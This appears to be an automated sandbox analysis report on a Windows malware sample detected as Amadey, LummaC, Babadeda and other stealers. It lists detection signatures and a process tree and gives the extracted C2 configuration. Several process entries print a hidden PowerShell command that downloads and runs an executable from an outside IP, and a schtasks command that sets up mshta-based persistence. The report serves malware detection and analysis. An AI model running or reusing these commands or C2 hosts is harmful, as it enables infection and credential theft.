Edit tour
Windows
Analysis Report
file.exe
Overview
General Information
Detection
Amadey, Babadeda, LummaC Stealer, Poverty Stealer, PureLog Stealer
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and execute file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys Clipper DLL
Yara detected Amadeys stealer DLL
Yara detected Babadeda
Yara detected LummaC Stealer
Yara detected Poverty Stealer
Yara detected Powershell download and execute
Yara detected PureLog Stealer
Yara detected obfuscated html page
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains very large array initializations
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Contains functionality to start a terminal service
Creates HTA files
Creates multiple autostart registry keys
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Powershell drops PE file
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: PowerShell DownloadFile
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to download and execute files (via powershell)
Tries to evade debugger and weak emulator (self modifying code)
Uses schtasks.exe or at.exe to add and modify task schedules
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Too many similar processes found
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Classification
- System is w10x64
- file.exe (PID: 5232 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: 7638E458B00BE1A00936AB9419267621) - skotes.exe (PID: 6876 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\abc3bc 1985\skote s.exe" MD5: 7638E458B00BE1A00936AB9419267621)
- skotes.exe (PID: 4900 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: 7638E458B00BE1A00936AB9419267621)
- skotes.exe (PID: 7768 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: 7638E458B00BE1A00936AB9419267621) - 1759c0aff4.exe (PID: 7964 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 4D140076DE73C646ABAC6DF1FE85851C) - conhost.exe (PID: 7972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8012 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\7A54.t mp\7A55.tm p\7A56.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 8028 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 1268001\17 59c0aff4.e xe" any_wo rd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 8036 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 1759c0aff4.exe (PID: 8088 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\1031268 001\1759c0 aff4.exe a ny_word MD5: 4D140076DE73C646ABAC6DF1FE85851C) - cmd.exe (PID: 8104 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\7B1F.t mp\7B20.tm p\7B21.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe any_word" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - timeout.exe (PID: 8120 cmdline:
timeout /t 2 MD5: 100065E21CFBBDE57CBA2838921F84D6) - cmd.exe (PID: 8144 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 8160 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7212 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7224 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 3156 cmdline:
mshta "C:\ Temp\.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7484 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7444 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 2912 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 3716 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - cmd.exe (PID: 5812 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\1032 141021\am_ no.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5544 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1848 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 2141021\am _no.cmd" a ny_word MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4856 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1364 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - powershell.exe (PID: 6280 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - cmd.exe (PID: 7252 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - powershell.exe (PID: 7272 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - mshta.exe (PID: 2412 cmdline:
mshta "C:\ Temp\.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - powershell.exe (PID: 7432 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 483d2fa8a0d53818306efeb32d3.exe (PID: 6448 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 2314D4E1D1134D797121BF79B03C2A4C) - schtasks.exe (PID: 3004 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 48C2FE20575769DE916F48EF0676A965) - schtasks.exe (PID: 7564 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 48C2FE20575769DE916F48EF0676A965)
- cmd.exe (PID: 6324 cmdline:
cmd.exe /c for %f in ("C:\Temp \*.gif") d o (copy "% f" "C:\Tem p\\random. hta" & sta rt mshta " C:\Temp\\r andom.hta" ) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 2176 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - mshta.exe (PID: 3964 cmdline:
mshta "C:\ Temp\\rand om.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 1516 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 648 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 483d2fa8a0d53818306efeb32d3.exe (PID: 2336 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 2314D4E1D1134D797121BF79B03C2A4C) - mshta.exe (PID: 5212 cmdline:
mshta "C:\ Temp\\rand om.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
- svchost.exe (PID: 6416 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- 1759c0aff4.exe (PID: 6356 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 4D140076DE73C646ABAC6DF1FE85851C) - conhost.exe (PID: 6128 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 3848 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\A6C3.t mp\A6C4.tm p\A6C5.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 4180 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 1268001\17 59c0aff4.e xe" any_wo rd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 5816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 1759c0aff4.exe (PID: 3756 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\1031268 001\1759c0 aff4.exe a ny_word MD5: 4D140076DE73C646ABAC6DF1FE85851C) - cmd.exe (PID: 5780 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\A859.t mp\A85A.tm p\A85B.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe any_word" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 2504 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 3104 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 5416 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 3384 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 7408 cmdline:
mshta "C:\ Temp\.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 6964 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7004 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 483d2fa8a0d53818306efeb32d3.exe (PID: 8048 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 2314D4E1D1134D797121BF79B03C2A4C) - schtasks.exe (PID: 7888 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 6944 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - Conhost.exe (PID: 2816 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cmd.exe (PID: 6876 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\1032 141021\am_ no.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6444 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5080 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 2141021\am _no.cmd" a ny_word MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 428 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 1376 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7184 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7292 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7244 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 4108 cmdline:
mshta "C:\ Temp\.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 5316 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2912 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 483d2fa8a0d53818306efeb32d3.exe (PID: 2844 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 2314D4E1D1134D797121BF79B03C2A4C) - schtasks.exe (PID: 3864 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 8108 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
- 1759c0aff4.exe (PID: 3904 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 4D140076DE73C646ABAC6DF1FE85851C) - conhost.exe (PID: 5308 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 6332 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\E870.t mp\E871.tm p\E881.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 3672 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 1268001\17 59c0aff4.e xe" any_wo rd MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6392 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 1759c0aff4.exe (PID: 3412 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\1031268 001\1759c0 aff4.exe a ny_word MD5: 4D140076DE73C646ABAC6DF1FE85851C) - cmd.exe (PID: 1852 cmdline:
"C:\Window s\sysnativ e\cmd" /c "C:\Users\ user\AppDa ta\Local\T emp\E9E7.t mp\E9E8.tm p\E9E9.bat C:\Users\ user\AppDa ta\Local\T emp\103126 8001\1759c 0aff4.exe any_word" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 5788 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7504 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 3612 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 6128 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 2504 cmdline:
mshta "C:\ Temp\.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 6156 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 560 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - 483d2fa8a0d53818306efeb32d3.exe (PID: 5244 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\483d2f a8a0d53818 306efeb32d 3.exe" MD5: 2314D4E1D1134D797121BF79B03C2A4C) - schtasks.exe (PID: 2056 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 6288 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - Conhost.exe (PID: 3848 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cmd.exe (PID: 5356 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\1032 141021\am_ no.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6420 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 5768 cmdline:
"C:\Window s\system32 \cmd.exe" /c "C:\Use rs\user\Ap pData\Loca l\Temp\103 2141021\am _no.cmd" a ny_word MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7436 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7484 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7444 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7180 cmdline:
C:\Windows \system32\ cmd.exe /c powershel l -command "-join (( 48..57) + (65..90) + (97..122) | Get-Ran dom -Count 9 | ForEa ch-Object {[char]$_} )" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7192 cmdline:
powershell -command "-join ((4 8..57) + ( 65..90) + (97..122) | Get-Rand om -Count 9 | ForEac h-Object { [char]$_}) " MD5: 04029E121A0CFA5991749937DD22A1D9) - mshta.exe (PID: 7268 cmdline:
mshta "C:\ Temp\.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2) - powershell.exe (PID: 7284 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -WindowSty le Hidden $d=$env:te mp+'\483d2 fa8a0d5381 8306efeb32 d3.exe';(N ew-Object System.Net .WebClient ).Download File('http ://185.215 .113.16/mi ne/random. exe',$d);S tart-Proce ss $d; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2424 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 4900 cmdline:
schtasks / delete /tn "AutoRunH TA" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2) - schtasks.exe (PID: 2128 cmdline:
schtasks / create /tn "AutoRunH TA" /tr "cmd.exe / c for %f i n (\"C:\Te mp\*.gif\" ) do (copy \"%f\" \" C:\Temp\\r andom.hta\ " & start mshta \"C: \Temp\\ran dom.hta\") " /sc mi nute /mo 2 5 /ru "u ser" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Amadey | Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Babadeda | According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines. | No Attribution |
{"C2 url": ["wholersorie.shop", "noisycuttej.shop", "cureprouderio.click", "tirepublicerj.shop", "abruptyopsn.shop", "rabidcowse.shop", "nearycrepso.shop", "framekgirus.shop", "cloudewahsj.shop"], "Build id": "LPnhqo--hcxnojluavhd"}
{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_LummaCStealer_3 | Yara detected LummaC Stealer | Joe Security | ||
JoeSecurity_LummaCStealer_2 | Yara detected LummaC Stealer | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security | ||
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
JoeSecurity_Amadey_2 | Yara detected Amadey\'s stealer DLL | Joe Security | ||
Click to see the 18 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Babadeda | Yara detected Babadeda | Joe Security | ||
JoeSecurity_Babadeda | Yara detected Babadeda | Joe Security | ||
JoeSecurity_Babadeda | Yara detected Babadeda | Joe Security | ||
JoeSecurity_Babadeda | Yara detected Babadeda | Joe Security | ||
JoeSecurity_Babadeda | Yara detected Babadeda | Joe Security | ||
Click to see the 15 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
